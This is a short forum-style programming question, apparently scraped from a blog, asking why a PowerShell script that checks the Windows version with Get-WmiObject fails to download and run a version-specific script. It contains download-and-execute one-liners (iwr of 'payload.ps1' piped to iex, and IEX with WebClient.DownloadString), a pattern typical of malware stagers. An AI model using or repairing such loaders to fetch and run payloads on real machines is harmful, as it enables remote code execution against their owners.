vendredi 19 avril 2019

Trying to use Get-WmiObject to decide what script to call

The code returns what I want but based on that my if statement does not seem to work. Any help welcome please :)

I have tried calling scripts using Invoke-Command -ScriptBlock {IEX...}

and using a proxy (New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" but the script never gets called (using simpleHTTPServer to check)

$host = ((Get-WmiObject Win32_OperatingSystem).Caption) if ($host -eq 'Microsoft Windows 7'){

Write-Host "[+] Downloading windows 7 script"

    $URL = http://example.com
    IEX (New-Object Net.WebClient).DownloadString('$URL')}

elseif ($host -eq 'Microsoft Windows 8'){

    Write-Host "[+] Downloading windows 8 script"

etc...

The script always ends up on the else statement regardless of operating system and the script does not call the webserver. Hoping to get the right script called for the right system

Aucun commentaire:

Enregistrer un commentaire